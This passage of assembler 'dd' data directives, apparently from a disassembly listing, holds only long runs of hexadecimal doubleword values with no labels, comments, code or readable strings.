0F9189EF4h dd 2769F751h, 4BE013B6h, 0B71F03A4h, 3C8F4D9h, 47002182h dd 6B0A2AA0h, 364560Eh, 136F0752h, 77A1B370h, 0B099C8C1h dd 0F47AF20Ch, 3F365016h, 818019CBh, 32B7DA78h, 0B30E2C99h dd 0A0E784DFh, 0CA37D897h, 7F16001Dh, 0ED6D4966h, 80486955h dd 653200D5h, 186C7D1Fh, 0F19D018Eh, 0E4D801AEh, 0AC7930E2h dd 0DC38FFh, 5F8F73EAh, 9754F9h, 26255329h, 1430C3F8h dd 8522181Ch, 0E7B4807Eh, 8E5F2963h, 37B7C6Ah, 1B57339Fh dd 71C88F6Ch, 9A00E769h, 8C257E5Bh, 1C1AEEAEh, 0BFB56358h dd 7CC55580h, 4346CB4Eh, 808AF43Eh, 0EF3AE176h, 1E4C4D57h dd 0CB2827E9h, 0E0808CC5h, 0DA1F0153h, 1B1E3509h, 0A3D40051h dd 4DBEF404h, 94009C22h, 30D27DF8h, 0F54DA4CAh, 1E5300CCh dd 22F2D1C9h, 1C4FE56h, 9D18B80Ah, 708868A6h, 5F0011A4h dd 612AB9F5h, 148913Fh, 0E9D977EFh, 30BB043Eh, 4D3B998Ch dd 0DFAD24C1h, 50A8D600h, 0AB8CFCh, 0ECBD03Ch, 88745A8Dh dd 100099FEh, 5D30982Dh, 56FEB6h, 0A8EC091Fh, 0DB6A2261h dd 3900A97Ch, 2EBFB905h, 0E8AA7224h, 0B0450002h, 0E5A75C6Ah dd 9600D14Dh, 7A6E6DAh, 2B3AAFh, 778279F7h, 2269B9F6h dd 5797B100h, 1C376DFh, 569F00A7h, 0EBA6C0C7h, 6F3818ACh dd 77BE80D9h, 88E4FAF3h, 0A810606Eh, 42A1CB14h, 812A0B3Ch dd 362E2D2Ch, 4C780D83h, 0D40B6E48h, 58014026h, 0DC4676D0h dd 0D200CD1Dh, 0BDA565C5h, 6FCA8Ah, 2115F22Ah, 6BDE917Ah dd 75E9EF00h, 0BB9BA4F6h, 65FD0120h, 3B5919FAh, 0A198D3E8h dd 0B0B00A7Fh, 93B63800h, 103A9041h, 7C72651h, 691700F8h dd 0A88B4A7Ch, 90736A00h, 66CAC474h, 3FD60040h, 433078F5h dd 0E800D531h, 0B9D78996h, 585BE923h, 0FD50FC2Dh, 0E872478h dd 0C4F18404h, 3D21C0A0h, 66734DCDh, 80087B3Fh, 6216DFF5h dd 250A8E61h, 4C05D56h dd 7BEE4AA1h, 0D69DB900h, 6DE63D50h, 5FF4B0h, 90F420CAh dd 4C8976ABh, 7A78F20Eh, 0A1508037h, 0A1D71463h, 0FCFC62B8h dd 305090D6h, 94B1EBE8h, 9001E17Fh, 885A993Eh, 0D8FADBA1h dd 0BBCE0138h, 196D5FB7h, 0F80BF59Eh, 8B1F68E8h, 1B80FF37h dd 0EECA67FEh, 0E57E2E93h, 0CD210E9Ch, 3EDCEF41h, 4A41C0C6h dd 0FA2E3800h, 4DDD839Dh, 64BA001Fh, 4252958Eh, 0C700FCC6h dd 0F870C187h, 9D4B7Bh, 14A4AF51h, 693B0358h, 0C0134100h dd 7466BD0Fh, 8353008Ch, 0A02531E0h, 0B6134D81h, 18C02144h dd 7824Eh, 36141A91h, 2FCC0C90h, 0E623A200h, 0D9F544D2h dd 63172471h, 90870FDCh, 4C90092h, 0FE1CE7DEh, 0B01F8800h dd 0B72C4382h, 0AF160FE4h, 28670C60h, 12DA90E7h, 2A0FEE7Dh dd 0E096D9D0h, 0F65997FAh, 0F3C80792h, 6C1E7FE6h, 2B900E60h dd 65079E00h, 6A109F13h, 9D930BF1h, 4E03F670h, 94E8D76Ch dd 8726F866h, 890032C9h, 9B3E0BEBh, 597F00A6h, 0A16D8F84h dd 99173583h, 1C022D93h, 0E07AB0FEh, 0EAF010C8h, 128B00D7h dd 8C71CD7Ch, 0E055630h, 981AF6D4h, 23C070C4h, 47D32Fh dd 5779CAA4h, 9F6AF146h, 0F83DA901h, 0B73433CCh, 4953ECh dd 45B42D15h, 822432C4h, 0FD055F2Ch, 8040170Bh, 55479FC4h dd 4273004Bh, 703A013h, 0E10082CFh, 7598ECDEh, 7C2D9D17h dd 0F6300053h, 0AC465F16h, 0E9A0797Eh, 9D000A1Dh, 1A3D2365h dd 12A78AF3h, 0D3509Bh, 0A15BD850h, 45009482h, 0AEC1D030h dd 1E780A7Ch, 0C05D8B71h, 0BBDD221h, 9D0070E6h, 9BB18969h dd 0F7982Bh, 4CEDC7F9h, 0DA2A3A88h, 89237E11h, 323D5102h dd 0D070EA8Eh, 0A373Dh, 0D66F6145h, 644EBBh, 0B04B6817h dd 0A6D2C632h, 0ED7EAE17h, 0F5C23043h, 0A7DC072h, 0A9EF07BCh dd 515BD2h, 9118F2A2h, 74AF5A05h, 4483AA5Ch, 6B7C884Ch dd 342100F3h, 453906B8h, 491E7B4Ah, 5540EF7Ah, 5932C3DCh dd 8AAD0237h, 0A43AEA94h, 0B00448C0h, 1FD18800h, 0A177A0DDh dd 0BF4A03h, 0DEACDAC8h, 4E07A9E4h, 4080B6F2h, 0EDBD4141h dd 2666D120h, 138CAEE5h, 6700FF69h, 0DC9FFADBh, 0E7BE4C72h dd 48C6EA0Bh, 4BAE9821h, 766C0B9h, 0A57CDB18h, 0DAED80h dd 0FBD6A250h, 9C9F3D6Dh, 0AD163000h, 0E53F0E1Eh, 0D0CF0029h dd 0DF2A5D94h, 0C8003D63h, 0C9063266h, 268A844Ch, 99E2560h dd 1607A93Eh, 0B880F92Ch, 0BB75EA9Ah, 98628E27h, 25AB8B48h dd 18849F58h, 2894C2B3h, 9C88A8h, 0D3B0DFE6h, 44161DACh dd 0A09D722Dh, 38CCCh, 1516E5E1h, 68BE59E7h, 891B4500h dd 17D582F8h, 0E40F0061h, 311069FCh, 0E4F909B5h, 0C9235BCh dd 845D020Ah, 0ED00A0BAh, 0DA196715h, 0F90607F6h, 0A6C8E79Dh dd 0A70CC837h, 0DC36AB20h, 39AC1CB2h, 0FF784099h, 26FB0245h dd 0B6016200h, 8AA46A7Eh, 94C12CA1h, 0DAD0304h, 19D81295h dd 7939AEC7h, 6B399BF2h, 0A9F08059h, 805C0DD1h, 3CE1520Ah dd 3310238h, 0A3852CEDh, 9CF3EB28h, 1E54DC13h, 25323403h dd 0B8FF793Eh, 3D4E18B2h, 0FCE9A7h, 0F7F6E75h, 0A55620D5h dd 97572E00h, 5D7929D2h, 233F0611h, 80F1DE24h, 1ECCB81Dh dd 78A2B1D2h, 59F8BD00h, 0AD5D3166h, 653FE10Eh, 0D9646538h dd 82348820h, 949780FFh, 1237EE00h, 8D9FF3F9h, 70F0AEFh dd 3DF3CD29h, 1AA716h, 6AE3979Fh, 0D000FF83h, 8525346Ch dd 184552BFh, 28F1C3A9h, 0E03E69B8h, 8BCF8009h, 0B33A17ACh dd 9A804834h, 2AC2FE00h, 0BC54287Ah, 3C82258h, 369B1B30h dd 0D0D3C8B2h, 271400B6h, 39044F25h, 0C0A82287h, 24F976A5h dd 2500EA08h, 6AF656CFh, 6478DCh, 19DF538Dh, 60AC75F5h dd 908076B0h, 8B076CE5h, 4F53E1D0h, 8276D40h, 0A96805FDh dd 0C0915E8Eh, 0BC0EADB4h, 0E5268F0Fh, 0CA6D602Bh, 766492h dd 1DBF4F6h, 655963F2h, 95E48498h, 4CF2289Ah, 0C4329303h dd 885E3DA2h, 7FBE0h, 4D143BF4h, 6CA1B178h, 6DCFB400h dd 0FEAA7ECDh, 330F1DDCh, 498783E7h, 0D9886B58h, 3913D0BCh dd 230FE3D6h, 806C0C7Dh, 2CE6FA40h, 234301Bh, 0C9D7097Bh dd 32B26054h, 0B138C0EAh, 0BB350411h, 4733B642h, 2070260Dh dd 0FBAE1Bh, 25EBCC57h, 17BCC71Ah, 0F86C0200h, 4A0BD168h dd 124206C9h, 7EFED4DEh, 1BAD1A07h, 0A8401310h, 2069C5h dd 0F93ECF8h, 85E0B17Eh, 4E17D5ECh, 16C746h, 9940CC5Fh dd 58624445h, 9A30064h, 87F3EA89h, 5F027357h, 3471623h dd 0D0B163A6h, 0BD56E1h, 299B8F50h, 39F852A8h, 0B2DFFF00h dd 0A4712FA1h, 83230032h, 6C995B56h, 5E00CD2Ch, 0ED54DE38h dd 95EB1890h, 817FA800h, 0FB09D22Fh, 12923E0h, 9067A330h dd 7418602Bh, 8174527Dh, 5794C200h, 0EEA13621h, 6A1E005Ch dd 41CB48DAh, 3E090FEBh, 7DB437h, 0CD0D7685h, 184B29h dd 8AB7992Ch, 0DE008C66h, 4BB086E1h, 0F252D262h, 2F6700B9h dd 2CD82369h, 7A0F36C1h, 0C0E5B2B1h, 0D315E2E4h, 4B3E613h dd 237CD1A1h, 0D94802Ah, 1A1DBE90h, 29876D85h, 0ACC31C1Fh dd 5619A836h, 9F3E04BBh, 0D0FE43A8h, 296E4854h, 0B240A76h dd 6287902Eh, 3630B6A7h, 24CA20D9h, 3C9B7Fh, 0E6FD10E3h dd 1A00ED9Ah, 3BE1928Ch, 7C361Dh, 305D6816h, 357E93EFh dd 21E74600h, 6C5B8D45h, 679F073Ah, 0D052DC4Bh, 0D89C2EDh dd 8145C13Eh, 9D1EB29Bh, 8C40E1C0h, 77DB6F6h, 7037F16Ch dd 0EA970067h, 840003E7h, 32C29DFDh, 260EC98h, 0E9325E2h dd 34CE8DAAh, 96EFD638h, 0A8309C7Bh, 5F12376h, 336853Bh dd 6EF890F8h, 5015D5Ah, 0D97BBC4Dh, 71D40C2Ah, 2885F033h dd 3CC443A7h, 0BE8FCFF1h, 0C53EAB4Fh, 901D1FDBh, 38AE9564h dd 9210BC18h, 86B01Eh, 51BA5761h, 0BC65C66h, 9A153D07h dd 2D9419C9h, 2D50093h, 6D27D698h, 0F4602292h, 79029E40h dd 50D1D728h, 59C8A07Ah, 0FADDAh, 21CFDF38h, 0BE7BD4C9h dd 9202F174h, 8CF9DDCAh, 0AB988258h, 0CB8CC899h, 0A9C3308Bh dd 9C04DFB0h, 1010215Dh, 81B04C5Fh, 6B59121Ah, 98D40334h dd 0F7FC8A4Fh, 854089DBh, 0B607B0h, 2CC52000h, 2208E3C6h dd 5366C900h, 18E47ED1h, 0A090A816h, 0B70700AFh, 4DC4C119h dd 1200AEE6h, 4BB2DC6h, 0E632568Bh, 39A74DFh, 6FA40852h dd 27C3DACAh, 180B14Ch, 0F868FE8Fh, 5982618Bh, 0B3E29D71h dd 2316BCECh, 0F4007F10h, 0C0091773h, 0E08200E4h, 30ABE831h dd 0E1C97128h, 7524E8A2h, 68405C96h, 0F4958801h, 0E0D48AC5h dd 572C05E7h, 0E802013h, 2A9DC682h, 0D7B407D9h, 3F4EEC0h dd 71D56095h, 57651EA4h, 0B59FA2C4h, 0FD52201h, 5C412EDCh dd 310EE488h, 7F83EAF7h, 0A6D8DAF3h, 0D80E878Ah, 0D2DBE3EDh dd 74379802h, 4D994077h, 9A2D00A0h, 21A41052h, 7E07068Bh dd 0D09E4251h, 0E8636063h, 0C1F16Bh, 0F35AB076h, 8EEF019Bh dd 96BC1338h, 0A8008A91h, 22D379DFh, 576E00ABh, 0A9B63E58h dd 82002C38h, 2E8F101Fh, 773A18h, 4BC7A66Eh, 71560521h dd 9DC84354h, 20E004BCh, 0AFD8699h, 0A69FCEBDh, 38770084h dd 0CD276FB7h, 370278B2h, 4C3BA955h, 15F4EE75h, 0EC39C4C0h dd 0F285F900h, 1B53915Fh, 32D13507h, 4BF3EE2Ah, 0DC9A85Ah dd 0E1FD0444h, 807FF540h, 24993AD3h, 2820980Eh, 828DC02Ah dd 1D77514h, 8A47BAD4h, 30E38C18h, 1F001D9Ch, 8B70DF20h dd 2BC680h, 4C0D196h dd 0D6240B69h, 0C1931D02h, 0C00D6631h, 49156Ch, 0BB46C635h dd 16D5F113h, 0E173A001h, 843F687Eh, 0EC3B9024h, 0BC8A1D08h dd 1F0AC09Eh, 0BFB892EDh, 6C3CF890h, 1D0180F7h, 64FDAB98h dd 89043880h, 8017DC1Eh, 6B4D7BB9h, 0D42D3B77h, 6FA400D7h dd 4E1C1D97h, 0EA8C076h, 4D00A8CAh, 0CD0AAFF8h, 72E5FF81h dd 9D193FC9h, 97FD1500h, 0DE3570B6h, 3D67EA00h, 73258CEFh dd 84F50042h, 1E2CB716h, 774C4FDBh, 373F0064h, 46E24908h dd 0CDE02FDh, 17DB7629h, 0E4DFE840h, 9747201h, 0D42E2883h dd 0FC008D31h, 3DE86BAh, 1D0ADD11h, 0B05461E8h, 82004F98h dd 0D902A9C2h, 43490Eh, 664D9CB8h, 968C1608h, 0B0312473h dd 489DD87Dh, 418D70h, 540F7E17h, 0E4784945h, 70440300h dd 6FC57BFEh, 0E3DE0067h, 93C16EE1h, 0D60F8633h, 2051D9BBh dd 65552331h, 75BAFAF7h, 9047F85Dh, 36E0F0h, 0E92A16Ch dd 18E7DBF8h, 54C80A24h, 0E896EA80h, 888D6Fh, 5ED33B9Eh dd 2B7185FAh, 0E9A55300h, 0E8229B55h, 12AF00DCh, 0C3E69E15h dd 1300BF11h, 5F476162h, 0FE0FA0h, 0BA896659h, 818CE25h dd 0AA57AE0Eh, 0E9DC04Dh, 14D324E0h, 0DCBEF267h, 0E1291D00h dd 3A0F03DDh, 6446D800h, 0C5254086h, 87C4014Dh, 66EBC3B2h dd 70B42CE8h, 3074ED09h, 14A0016Bh, 68345446h, 0EA520E1Fh dd 0E5406817h, 0E7B1400Bh, 0B0C27F24h, 0C7454700h, 6EE274E4h dd 8E403079h, 99AA1A17h, 9A48E000h, 9CD9C47Ah, 5307260Bh dd 0F4CC07B8h, 0B31732E9h, 31576CC1h, 0D08887A5h, 1C6275ECh dd 4CBCC6AAh, 97001461h, 3DFDD718h, 0BD0ECC72h, 706FFE3h dd 5B9092B6h, 6A7159h, 96C118E1h, 0B0D9E725h, 0EEA57306h dd 0E1D10F3Eh, 0B378DE0h, 5C2556A9h, 7C2934E0h, 0A475F705h dd 0A491FC20h, 9838B128h, 0AFA0304Ah, 690E113Eh, 0A3627F55h dd 0E8DA4BF0h, 2CEBC05Ah, 0B8FAC4h, 375D512Fh, 3606E934h dd 891E32FFh, 35E52C40h, 789825F8h, 9E042C2Fh, 726BC8E7h dd 0C0667492h, 138ACB0Ch, 80F9534Ah, 1F93A9E8h, 0C99D298h dd 73EFEB80h, 9FCE6F3h, 0E2CA2A99h, 6979B700h, 1E168052h dd 48366085h, 0F25E00F8h, 6A7A29B2h, 0C09A3708h, 8852F02Ch dd 0B814E681h, 0F463E439h, 2646D09h, 0BAE8ACA1h, 0DC2C5022h dd 0CB5D68B9h, 1C56002Ch, 979A2433h, 2C12E2ECh, 38E3110h dd 50CD4F52h, 0CAF22B0h, 0EE805CB1h, 4DBDE21Eh, 492C60CDh dd 0C02F96B7h, 0A1317C13h, 6DC414h, 0AE63A5CFh, 3492DDh dd 60A92EC3h, 0DE2893Fh, 0FEEA7500h, 0D2DC3A0Eh, 1A150571h dd 33F68Dh, 0D5AD9785h, 0B5138FD3h, 38803A5Eh, 0E4D638h dd 923507A7h, 488B8AC8h, 861E9E7Fh, 0D9C079A8h, 5D110BA4h dd 0EFF485h, 0F4FF7EA6h, 0DA7D464Eh, 34D911C1h, 0A0C33342h dd 0C79B3Ah, 266E2785h, 3D360E65h, 87B6B238h, 5E632A25h dd 19A85A90h, 122BB08Bh, 42F9F1D3h, 2E91B584h, 2E0C5CC9h dd 0A6EE9005h, 5A527892h, 809638F0h, 0F4CFB580h, 0E72AE65Ah dd 0A68CFE61h, 0EDF48132h, 0AF80071Eh, 50E36871h, 842AE9DAh dd 5D0F6E00h, 9E933DB6h, 0DD48003Ah, 7B9FED5Ah, 0E900898Eh dd 1D25E30Eh, 90C34F2h, 2AEAD43Ah, 0F120DCF8h, 360D28F4h dd 16DB3CBCh, 934F870Eh, 1FA41740h, 58F2530Bh, 20C95400h dd 3A685A12h, 0AEF20007h, 0DE6F6DCEh, 97004CF8h, 0A73B5E2Bh dd 2C575DF9h, 0B24C269h, 0B40092C4h, 0C83F23FEh, 6C0ED9FCh dd 0B7AEEABAh, 4CE62510h, 2B1700FAh, 95800B38h, 0BBA12435h dd 88C800E0h, 3748B290h, 71BFE018h, 818041h, 11354CBBh dd 0D65BAE02h, 39008DF4h, 0FBEAC1F9h, 162A07C8h, 0FDBDCD8h dd 4E614446h, 30CC59F3h, 702DC1B0h, 488CC43h, 0B463C767h dd 0C290E80Fh, 0A0D83317h, 0B2D0E2E4h, 0A998009Ch, 5E673E15h dd 0E373F22Dh, 16CC009Fh, 50085Fh, 0F8D52966h, 0D2261AE6h dd 0C8B17A17h, 0C0740CC0h, 0DDA90161h, 66233036h, 2DFC291Ch dd 0A80CB385h, 4AE32954h, 0A880C5D9h, 69770010h, 82EEC89h dd 1452005Bh, 20A7A60h, 0F0B811B0h, 3A0BC613h, 57C4351Ch dd 0BCC01EACh, 6D4548h, 8210634Fh, 0F350D824h, 2DB2191Ch dd 45A68F87h, 0EDB73460h, 0FCDA006Ah, 53160A4h, 0AB4A73EBh dd 0B6197C90h, 3A301E8Ah, 1655C03Bh, 888CDC36h, 0FF562300h dd 664E40CCh, 0B5400FEh, 0F6761186h, 0A358FD7Dh, 0EEAF037Dh dd 0F039A7A5h, 2D2BB7B4h, 2880C788h, 0E3DB1CD8h, 6A9F7802h dd 0E1BBD779h, 12C46E74h, 0EE412FF1h, 14AC7420h, 8D7F666Ah dd 44AB1900h, 0E4AA683Eh, 0FE972AEh, 0C3CFE6A7h, 46A0C5EFh dd 13428E7h, 0E8DE0E00h, 0B17E2EBEh, 0FD21674h, 331B0130h dd 0C0FFACE5h, 881F4463h, 86802705h, 41DC812Fh, 6DC200AFh dd 2D82DA90h, 373C5564h, 0CF13FD74h, 0D80004B8h, 3173C4A2h dd 1A6A0025h, 9B3489F4h, 0B71F0DB6h, 60CBD25Fh, 125703B4h dd 2C5AA030h, 973A3AF9h, 90635D97h, 533E6204h, 98791B01h dd 0CE5B2DDBh, 1D83F8h, 55A6B6C9h, 0AD7D53F7h, 0EBC24F00h dd 93AA4663h, 0E5A90565h, 8056D7D8h, 0A81B0DC8h, 90D52700h dd 336187BEh, 0EEB00723h, 9ECD2Ch, 0BF0CDBD3h, 0E3329400h dd 6DD746BAh, 68A4000Eh, 0F9384CC9h, 4A04AE01h, 0E7A5B475h dd 0A023C8C3h, 9E91E113h, 4BB50080h, 1089D89Ch, 0DC0160D3h dd 6824150Fh, 261EB2F4h, 84D81321h, 0D01AE245h, 0B748A4ECh dd 0CE019778h, 22D49225h, 0E1EC7720h, 0B4CB0BB5h, 4909F432h dd 3C58AC07h, 30005AC1h, 0EC27F2B1h, 4937D8h, 48AB2A9Ch dd 6F15312h, 0CB6AA400h, 0D8B23622h, 0E3100058h, 0B7C93511h dd 1A063769h, 0E83C0882h, 8FEB1388h, 6CCC0718h, 0EA27D0h dd 4EAEA1C6h, 0CED22101h, 0FA19D136h, 0CFB0C8h, 0F181654Fh dd 0E476FCA2h, 4812AF32h, 7C92E087h, 8B6B0C45h, 0F3C915A7h dd 3C5F44B0h, 0FB9C6C81h, 123BCA60h, 0F2844B9h, 0FCE2F7A4h dd 7FC0C12Ch, 340096E7h, 960B07Dh, 76C2FF12h, 0E04203F8h dd 1890EC87h, 66A346B0h, 3167F715h, 4B070BCCh, 0F330103Ah dd 28054D87h, 36056D3Ch, 9040F654h, 7CCD72BCh, 0BB0FCF2h dd 0A2744606h, 44813AFh, 0B478676Dh, 18E8CBh, 41540351h dd 0E8315F63h, 982BB0D4h, 0B571C22h, 40DD4B39h, 6A2B9460h dd 6B25EE01h, 7FCBDA21h, 2E4E48C0h, 80B4B723h, 83526D85h dd 9E0053BAh, 0D55FAA9Dh, 0DE10F1h, 3E70EAD8h, 5D121AA7h dd 28C044Ch, 8F989B79h, 4AA469E6h, 7BAF2FCh, 0F1A5C610h dd 0B6A4232Ch, 9BE03BDBh, 0F8005201h, 1362C7D4h, 2E7B2177h dd 8080650Dh, 334C1730h, 9B0F4B04h, 8593B88Ah, 0D4D0F4C5h dd 0F320BFh, 0B48BEADh, 0C4349BA5h, 0D9A16C00h, 579DC3B5h dd 6BACA853h, 7839016Fh, 86EE9C9Bh, 661983F8h, 4E7A69Fh dd 0AAEF1DB1h, 0D972C07Dh, 2C05040Ch, 47CAC14Bh, 0FCF4880h dd 1E8598C9h, 3AA19420h, 841E2A80h, 48CD5958h, 1D14735Ch dd 270208EEh, 609EC7E3h, 9240F2F4h, 2EEDFA58h, 149B260h dd 1392A416h, 0D873C4E6h, 1A00BEF8h, 6501F1C9h, 1DDBBC2h dd 2484F677h, 80BDF9F0h, 0E58BB911h, 0CB4F9Ah, 6B1CDA34h dd 1AABE8D7h, 5E01B0F2h, 4A6F123h, 5A96EB2Eh, 0D00C4020h dd 0ED6A8AB7h, 24F4Ah, 503F0E19h, 0E244FFDCh, 1F82C780h dd 79A9719Dh, 0D92B181Eh, 72BE31B8h, 2C662048h, 6E007054h dd 265621A9h, 80E0007Fh dd 0FADB7124h, 0D40119FCh, 4F01AC1h, 0D2605032h, 38391209h dd 6EC08092h, 5630DE8Ch, 704328BCh, 12900541h, 0C2FB94C6h dd 3870FC9Ah, 0D1FA0178h, 0C9002371h, 644B2BC7h, 0A0A05297h dd 9C9C1EE4h, 0F08400CCh, 1301EEA3h, 0E9316B90h, 74E8A888h dd 0A0C5C0h, 4ABAB164h, 8047C3E6h, 5DF0785Ah, 3F9B00FFh dd 71EA625Ch, 2B001C57h, 41F0CBA8h, 14DABC23h, 0A4E7D08Fh dd 280F0400h, 0B3B01529h, 51EC455Dh, 0A037F4F8h, 5593D100h dd 0FC537F33h, 7BBC01DFh, 35AF662Dh, 586BEC84h, 2244B800h dd 67D065C3h, 4D44EF2h, 0A9BEC12Ch, 0D606801Ch, 7603F79Eh dd 925900E2h, 0EA951444h, 5C003277h, 502D1BEBh, 0C8FEBCh dd 0D2F6538Dh, 0A79F34BFh, 0BA40C100h, 63BEDF95h, 98907D0Fh dd 5FAC1F2Ch, 0E5B5C0B8h, 949FDE15h, 9E9D2C12h, 5876CE0h dd 8A867C1Fh, 0B1DC04EAh, 0EFFB40F3h, 7C72E3A9h, 3F9703ECh dd 0EE2D207Dh, 0A51558D8h, 2C5D8000h, 0B1D4B565h, 0C0795E42h dd 13BFF37Ch, 0A50FCEE6h, 80474A66h, 91B53660h, 14460757h dd 609F01A2h, 0A8FA29D4h, 0B0961831h, 0FE6071B5h, 0F724244Eh dd 686E0318h, 0E2E08406h, 0DA00CDBBh, 0AB8741A6h, 24EB7FD1h dd 3FC3E60h, 937471FBh, 0D5C26480h, 2C5C8300h, 2A78EB30h dd 5C1B5908h, 0E0D1F412h, 381D8E58h, 0C06DC310h, 0E93448h dd 9EBF31F1h, 8A8651Ch, 0F70129F0h, 0FAB9132Ah, 8688227h dd 7E240B4Ah, 0F313BB5Eh, 62DFD402h, 60C0D952h, 2B6CDB46h dd 5EC8C404h, 6CF09CA4h, 0B82C3B16h, 0DED9BC00h, 4AF76F41h dd 7380C060h, 2D947725h, 0BCE95BF8h, 24F1D4FDh, 650067FCh dd 0D3CE96ADh, 5C2B3762h, 4824A4E0h, 92390519h, 0B3A0C0DFh dd 158FE78h, 0D3127D42h, 8CC2D819h, 4028564Dh, 664E6D70h dd 0CCD7C81Eh, 0C52E580h, 0F204B93Ah, 0E00E03F0h, 0CD47ED28h dd 7FD313B8h, 399024A3h, 84071FBAh, 5F04FFAAh, 64A92045h dd 0E72C2880h, 140F2763h, 7B2F26Ah, 6EC00C03h, 639A9D4h dd 0DF86FD2h, 3B0388D5h, 0EF9A9FB2h, 5230DFDCh, 1AC549h dd 7C688EAEh, 0F1079C1Bh, 0F505BE00h, 4710AC21h, 0C120044h dd 286C5290h, 2E00DC50h, 0F3351E6Ah, 12493A68h, 7610BC9h dd 90110434h, 0FFE12A8Bh, 469D7116h, 0F87EC00Ch, 281FE6Eh dd 4949278h, 0EC725256h, 5A7EF612h, 0F200D852h, 0F0F7510Ah dd 487A0040h, 77A558EBh, 5560DB30h, 0E9261568h, 63C30012h dd 47D8D6A1h, 7E0093DCh, 0CFFFAD4Eh, 17BDA5Bh, 0C616F670h dd 0C4573E23h, 28EE0763h, 0D3BC2600h, 21B21158h, 51403FA3h dd 24BE3502h, 80E01A07h, 3A485C8Ch, 93B27A0h, 225C78D8h dd 3CF4A725h, 50F0B8D3h, 0B17C81h, 4D0B2835h, 67830C80h dd 0E6EFB900h, 9DBFDC32h, 39551C4Ah, 78B4415Bh, 7B15B1AEh dd 0C0334C4Eh, 0B338C6CBh, 0B5810030h, 0F2A23B6Fh, 0F40EEA89h dd 405F568Ah, 3C41F5BDh, 9C6327CDh, 89FBB801h, 472320C6h dd 1BC80700h, 589580FAh, 24E901D1h, 0BDD80D6Eh, 7C49E0F1h dd 9B097B77h, 5683D0DAh, 4FAF0114h, 0D2A1C445h, 44DF1E60h dd 0E809E8D2h, 0D8519Ch, 4B6815EFh, 6F00E184h, 5E0CA553h dd 9FC110E4h, 0A8980485h, 0B2810044h, 0CEAD2B1Eh, 0D22100C7h dd 0CC3BD70Bh, 0E100F82Fh, 0BB081BA5h, 13960C8h, 56BEE3FFh dd 0C4BCF9C7h, 0AB01E527h, 4DD1ACE0h, 26C42BDBh, 19C50059h dd 84A0613Bh, 0D6002D4Ch, 0C8AC9AA2h, 1081AFAh, 25EB75D0h dd 7E34A65Ah, 83480Eh, 0A738AF9Ch, 639901F9h, 4C41D53h dd 0A08FE6B9h, 0DFF712E0h, 301C762Eh, 2A3CD785h, 4600AC16h dd 0EE9E8226h, 0E2EF532Eh, 98DE0029h, 0F16516D6h, 600058B5h dd 0CE5DB8ECh, 0F487A6E8h, 6A1A48EDh, 2CC4017Bh, 63405B2Eh dd 0FCD02B5Eh, 88E43CB0h, 0D0EDB3Ah, 82EB39C3h, 60FE5CBFh dd 0F8F33804h, 18C9E821h, 31E6B1B2h, 2E01C166h, 45FBD1D6h dd 4CD0E9E0h, 241700AAh, 0B1385EF6h, 410B0362h, 0A06BEE2Ah dd 301DBF60h, 8058DF32h, 0FBE1F20Eh, 140ECA2Dh, 4C20C822h dd 78BD60A2h, 2ED863AAh, 601DDA50h, 294AE048h, 0D8062899h dd 1F319E7Ah, 0C00B6620h, 170ADF74h, 0F028F822h, 1C0610A7h dd 0D33A6B98h, 3FD90FE8h, 808063D2h, 0C2CD7121h, 0ACC75700h dd 76DC6A26h, 0F0A04A46h, 0E3F61A20h, 1E00CA70h, 0DF4143FFh dd 0C74032h, 2F42714Dh, 90FCC67Ch, 43CBB201h, 2D0A8B0Dh dd 0D00EF4h, 0FD4E0812h, 0CDF48C26h, 0ADE1CF01h, 3E9418B4h dd 892EECh, 0DD494807h, 0FB0560C3h, 0D1E15725h, 20028034h dd 5CC01215h, 0C14F131Dh, 0F7774A00h, 3F3D0684h, 7B9F72CCh dd 80FF00AAh, 0AC0D87CEh, 0FE86B401h, 42811839h, 0B771080h dd 74DF774h, 97EF0F3Eh, 4B00E4A1h, 85C2533Eh, 0D21100DAh dd 0CC7E1473h, 0F0E31287h, 821E0E75h, 720E70AAh, 533D80BEh dd 78D477BDh, 0D55D003Ch, 4A551B11h, 423AB681h, 49A04C12h dd 4C868B0h, 4085DFF5h, 0C4C0FAE0h, 5C209F5Bh, 1D800C3Fh dd 39C8DD32h, 6B0E3B03h, 0A30DE360h, 202100D4h, 0B15DDD3Ah dd 0DC78384Ah, 0CCFAD62Eh, 0E7506601h, 0AC709FD8h, 3E260064h dd 3241B540h, 9B60D521h, 0B2540781h, 1E220328h, 6E2AE10Bh dd 90F10830h, 3C4BE9BDh, 0C901D2B2h, 149BE560h, 897CEB70h dd 0C9491E30h, 6768D430h, 126680F5h, 330710A4h, 0CE36183h dd 56DEC251h, 34006F30h, 0FE745DEBh, 593E72Ah, 0C7B2474Ah dd 0CDEFC02Fh, 30158D62h, 7C9460FBh, 0A1B3E402h, 0FE99E516h dd 27E10797h, 0F01A900Dh, 1E1B3D77h, 0E17829E6h, 3BF164D9h dd 0D3A8F88Fh, 30866C63h, 9C741000h, 0D9C2D4A4h, 2DE20CB8h dd 0F7696AFAh, 515C2F00h, 2E0271E0h, 3213AD8h, 15210F30h dd 0F50F5C17h, 0A3757A83h, 0F3D9B8h, 478443E1h, 7261E3D2h dd 3E399700h, 9B2A5D48h, 8CB701BCh, 0D181B850h, 0F8B4406Dh dd 59C22FAEh, 903AE2B9h, 115C2844h, 88F9E048h, 10188709h dd 88DD305Ch, 8200FF79h, 7E9C6048h, 91D696C3h, 540C3830h dd 0DAF8113Ah, 32285E10h, 9F58B604h, 27389823h, 39CFDD04h dd 0EC320DE3h, 0DD2EFD20h, 0FF2003D0h, 0ED2F1FD1h, 0D975B0A7h dd 0BA6080E6h, 0D254DF58h, 1970DE42h, 0D085893Eh, 1D63B72Ah dd 0D8CE1311h, 0CE35847h, 2BB0A341h, 21C71408h, 5230C616h dd 0E6B649E7h, 38BA0785h, 5C348699h, 2047791h, 8C721F28h dd 60EBA888h, 64D6F970h, 0B5FA9335h, 0E4F1F400h, 0C8EC9EF7h dd 0DDA8C144h, 808E8865h, 0B9124120h, 758CA7E3h, 0CCF18010h dd 3FDEC90Fh, 5F7F84B5h, 852ED080h, 74FB4831h, 0F5B884h dd 3FBDBB30h, 5A78A1B2h, 680C6DE0h, 11802053h, 62CF8E2Dh dd 312B5B32h, 7731006h, 1D42E8A6h, 647E63Ah, 78FD50D4h dd 0ABA3D00h, 305F1FB8h, 0EFCD247Ch, 8C6E84FCh, 1B620005h dd 2983F741h, 1C3C1457h, 5845C2C4h, 0BC9646B3h, 0A61C5C00h dd 63DAC33Fh, 0A5AC00BAh, 0D8B6A9D3h, 0E17E8664h, 846249Ah dd 29091448h, 